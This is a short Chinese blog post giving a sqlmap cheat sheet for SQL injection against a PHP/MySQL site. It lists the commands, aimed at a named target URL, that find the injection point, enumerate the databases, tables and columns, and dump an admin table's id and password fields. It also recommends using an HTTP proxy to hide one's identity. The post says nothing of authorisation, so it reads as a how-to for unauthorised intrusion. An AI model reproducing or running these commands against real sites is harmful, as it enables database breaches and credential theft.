- A+
所属分类：WEB安全
sqlmap是一个灰常强大的sql注入检测与辅助工具，但是由于没有图形界面，基本上用起来比较麻烦，导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面，我自己也是把很多语句贴到了一个记事本里面用，其实真正用起来也就5,6句，也不会太复杂，下文以php+mysql为例：
-
检查注入点
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11
-
列数据库信息
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs
-
指定库名列出所有表
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables
-
指定库名表名列出所有字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns
-
指定库名表名字段dump出指定字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump
有几个参数可能会用到，直接加在最后面就可以了，更多详细参数见官方文档：
-
--cookie=COOKIE 在需要登录的地方，需要登录后的cookie --proxy="http://127.0.0.1:8087" 使用HTTP代理隐藏自己的身份，比如使用goagent等 --sql-query=QUERY 执行一个sql语句，不一定支持
过程的几张图如下：
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-
